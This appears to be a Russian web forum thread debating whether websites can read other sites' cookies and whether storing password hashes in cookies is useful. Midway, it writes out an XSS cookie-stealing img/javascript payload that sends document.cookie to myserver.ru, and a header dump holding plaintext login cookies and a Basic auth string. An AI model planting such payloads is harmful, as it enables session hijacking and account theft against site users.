Куки с чужого сайта @ DeForum.ru

Люди!
Мож я че не догоняю?
Можно ли с одного сервера прочитать куки, оставленные другим сервером?
По логике и из соображений безопасности так не должно быть, вроде бы...

91 Сообщения: 1163 Зарегистрирован: 26.01.05

hspeed,

нельзя.

Только уточнение, не сервера а домена.

34 Сообщения: 1866 Зарегистрирован: 17.02.04

И еще уточнение:
если эти домены принадлежат тебе, то напрограммировать можно все что угодно.
Я например, написал объект который через базу симурирует "куку" доступную нескольким доменам.

AlexShop, напрограмировать "чего угодно" нельзя. Можно ровно одно: поставить куку для другого домена. И владеть им вовсе не обязательно.

Спасибо
Перечитал внимательно описание setcookie() и все нашел

Куки - это зло для пользователя.
Заходишь на какой-нить красочный сайтец,
а там между всеми прочими делами,
берется из браузера вся кука и пишется куда нужно.

Учитывая, что большинство пользователей любят автологин,
т.е. логин и пароль в примитивном виде храниться в энтой самой куке...

Куки - это слабое звено.

Цитата:

т.е. логин и пароль в примитивном виде храниться в энтой самой куке...

и что? )

Цитата:

логин и пароль в примитивном виде храниться в энтой самой куке...

неправда ваша :dont:

Что мешает хранить инфу в зашифрованном виде? например функция md5

prometheus писал(а):

Куки - это зло для пользователя.
Заходишь на какой-нить красочный сайтец,
а там между всеми прочими делами,
берется из браузера вся кука и пишется куда нужно.

Учитывая, что большинство пользователей любят автологин,
т.е. логин и пароль в примитивном виде храниться в энтой самой куке...

Куки - это слабое звено.

Ну и что вы хотели сказать этим потоком сознания?

phantomas писал(а):

Что мешает хранить инфу в зашифрованном виде? например функция md5

Вспомним, что главный вопрос китайской философии гласит: "А-Нахуа?"

С целью чего мы собираемся хэшировать инфу?

Crazy писал(а):

Ну и что вы хотели сказать этим потоком сознания?

Ээ, отвечая на вопрос - ДА, МОНА.

hspeed писал(а):

Можно ли с одного сервера прочитать куки, оставленные другим сервером?
По логике и из соображений безопасности так не должно быть, вроде бы...

prometheus, тебе же говорят, что куки может прочесть только тот сайт, который его поставил, или тот, которому доверяет тот сайт, который ставил, т.е. "вся кука" никуда налево не уплывет

тот форум, в котором сейчас ковыряюсь, хранит пароль юзера в хешированном виде
видимо для того, чтобы затруднить жизнь тем, кто сумеет провести XSS-атаку

prometheus писал(а):

Ээ, отвечая на вопрос - ДА, МОНА.

Мсье, купите себе книжку про HTTP. Что-нибудь попроще.

Куки вообще нельзя "прочитать". Клиент -- браузер -- высылает их сам независимо от желания сервера. Соответственно, прочесть куки другого сайта нельзя. Никак. Ввиду отсутствия операции чтения.

Но: сайт может сам, добровольно, попросить зашедший к нему браузер, чтобы тот ПОТОМ, совершенно ДОБРОВОЛЬНО отдал вот эту конкретную куку ВОН ТОМУ конкретному сайту. Если случится на ТОТ сайт зайти. Независимо от желания ТОГО сайта.

Так что никаких угроз безопасности здесь нет и никакие пароли здесь не при чем.

hspeed писал(а):

тот форум, в котором сейчас ковыряюсь, хранит пароль юзера в хешированном виде
видимо для того, чтобы затруднить жизнь тем, кто сумеет провести XSS-атаку

Что-то мне это напоминает очередной поток сознания.

1. Какая связь между формой хранения пароля и тем, что ложится в куку? У вас форум пароль в куку кладет, пусть даже и в виде md5?

2. Предположим, что в куке тупо лежит живой, нешифрованный пароль. Чем это поможет проводить XSS?

Crazy писал(а):

Мсье, купите себе книжку про HTTP. Что-нибудь попроще.

Куки вообще нельзя "прочитать". Клиент -- браузер -- высылает их сам независимо от желания сервера. Соответственно, прочесть куки другого сайта нельзя. Никак.

Ой, как интересно,
у нас, на сайтах некоторых (избранных) клиентов, есть такая штука,
что когда при генерации какой-либо страницы происходит ошибка,
система генерит детальный отчет о произошедшем.
Это значит, что система уведомляет,
где произошла ошибка - адрес документа,
движковые ошибки - т.е. при обработке какого модуля,
а также детальная информация по клиенту (USER-AGENT и COOKIES).
Куки обычно содержат инфу не только по данному домену, где произошла ошибка,
но также данные профилей других сайтов, пароли, логины...

prometheus, ты рассказываешь красивые сказки. Но есть простой способ это проверить: прочитай мои дефорумные куки.

Готов зайти на ссылку, которую ты назовешь, чтобы стоящий там скрипт смог их прочесть.

Имея мою дефорумную куку ты без труда сможешь открыть войти в этот тред и написать от моего имени отчет о случившемся.

А до тех пор буду считать тебя сказочником.

Цитата:

1. Какая связь между формой хранения пароля и тем, что ложится в куку? У вас форум пароль в куку кладет, пусть даже и в виде md5?

2. Предположим, что в куке тупо лежит живой, нешифрованный пароль. Чем это поможет проводить XSS?

Дабы не казаться полным лузером, поясню:

1) да, имелось в виду, что пароль ложится в куки в виде md5
2) из моего сообщения следует только одно: тому, кто сумеет провести атаку, придется повозиться с захешированным паролем; я прекрасно осознаю, что куки на успешность проведения атаки никак не влияют

hspeed, каков смысл хранить в куке md5 от пароля? Чтобы пересылать этот md5 "как есть"? В таком случае это абсолютно ничем не отличается от хранения живого пароля.

По второму вопросу: как ты видишь процесс получения md5 пароля, который лежит в куке, с помощью XSS?

P.S. По поводу "повозиться" рекомендую набрать в гугле "md5 rainbow".

Примерно так:
допустим, злоумышленнику из-за несовершенства фильтров в поле ввода сообщения удается в каком-нибудь треде повесить нечто типа
img src="javascript:'http://myserver.ru/index.php?c='+escape(document.cookie)" width=1 height=1
Это так в общих чертах
Каждый, кто зайдет в тред, отправит свои куки в базу на myserver.ru
Примерно так работают счетчики посещаемости а-ля SpyLog, только админ сайта добровольно такую штуку вешает на своем сайте

Crazy писал(а):

prometheus, ты рассказываешь красивые сказки. Но есть простой способ это проверить: прочитай мои дефорумные куки.

А до тех пор буду считать тебя сказочником.

Да, я сказочник!.
Сказочник, которому приходят письма с таким содержанием.

Цитата:

IP: XXX.XXX.XXX.XXX
Accept = */*
Accept-Encoding = gzip, deflate
Accept-Language = en-us
Authorization = Basic aXZhbjpNbnM3ckYwd3Qr
Connection = Keep-Alive
Cookie = auth_AuthUsers_login_save=tester; auth_AuthUsers_password_save=; auth_AuthUsers_save_password=0;
auth_user_login_save=strelnikov; auth_user_password_save=strelnikov; auth_user_save_password=1;
auth_login_save=administrator; auth_password_save=administrator; auth_save_password=1; login=tester100;
luid=1188217835247039300; lprofile=user%253A%253Bofftopic%253A0%253Bmoddeleted%253A0%253Byurta_password%253A%253B
refresh_interval%253A60%253Bopen_new%253A1%253Bautologin%253A0%253Bblack_user%253A0%253Bblack_topic %253A0%253Blast_days%253A0%253Bopen_topic%253A0%253Bopen_author%253A1%253Btopic_per_page%253A4 %253Bauthor_per_page%253A5%253Blast_access%253A2007-! 08-27%25 2B16%25253A39%25253A11%253Bpage_size%253A125%253Bopen_private%253A1%253Bforums%253A%253B
bookmarks%253A%253Bsorted%253A0%253Bauthordeleted%253A0%253Bskin%253A%253Bonchange%253A1 %253Bblack_users%253A%253Bblack_topics%253A%253Bopen_link%253A1%253Bpassword%253A %253Bprivate_last_access%253A2007-08-27%252B16%25253A39%25253A11%253Bemail%253A%253Byurta_prof %253A0; wte_id=119069575400307
Host = XXXXXX.ru
UA-CPU = x86
User-Agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 4.6 (build 01425); .NET CLR 1.1.4322)

Данная куки содержит инфу с трех доменов.
Я сам зашел на страничку и система прислала мне мои куки.
Правда, у всех них один IP.

А чтобы получить куки с дефорума с неродственног сайта, нужно юзать дыры в юзер-агенте, либо перехватывать траффик

prometheus писал(а):

Да, я сказочник!.

Консенсус.

Цитата:

Сказочник, которому приходят письма с таким содержанием.

Мне абсолютно неинтересно, какие письма тебе от кого-то приходят. Факт получения тобой каких бы то ни было писем никак не подтверждает, что сервер может прочесть из браузера куки другого сайта.

hspeed писал(а):

Каждый, кто зайдет в тред, отправит свои куки в базу на myserver.ru

...и в результате myserver.ru получит MD5 от пароля. Соответственно, если наш сервер соглашается принимать для авторизации логин и MD5 от пароля, то злоумашленники вполне могут использовать перехваченную информацию для аутентификации от нашего имени.

Вывод: хранение в куке MD5 от пароля лишено какого бы то ни было смысла.

Crazy писал(а):

Мне абсолютно неинтересно, какие письма тебе от кого-то приходят. Факт получения тобой каких бы то ни было писем никак не подтверждает, что сервер может прочесть из браузера куки другого сайта.

Вот берем и вставляем в данную форму для сообщений картинку-скрипт (cgi-bin/s.jpg) и усе

Кукис чувака, который откроет страничку уйдут куда нужно.
Вот пример такого сниффера - http://old.deforum.ru/sniff/

оффтопик:

Не бойтесь,
мне ваши куки не нужны

К сожалению, "картинки-скрипт" http://deforum.ru/cgi-bin/s.jpg, упомянутая на этой страничке, более не существует (Error 404), так что проверить твои фантазии не представляется возможным.

Кстати, для экономии времени: не нужно пытаться реализовать свои фантазии через XSS. При использовании XSS высылаются не куки, а параметры запроса.

Заодно дарю тебе крутой код, позволяющий прочесть куки (и не только) пользователя:

Код:

Дорогой пользователь, пожалуйста введи здесь все свои куки,
логины и пароли и нажми кнопку:
<form action="somehost.com" method="post">
<textarea></textarea>
<input type=submit>
</form>

DeДверь
Логин:
Пароль:
	Автологин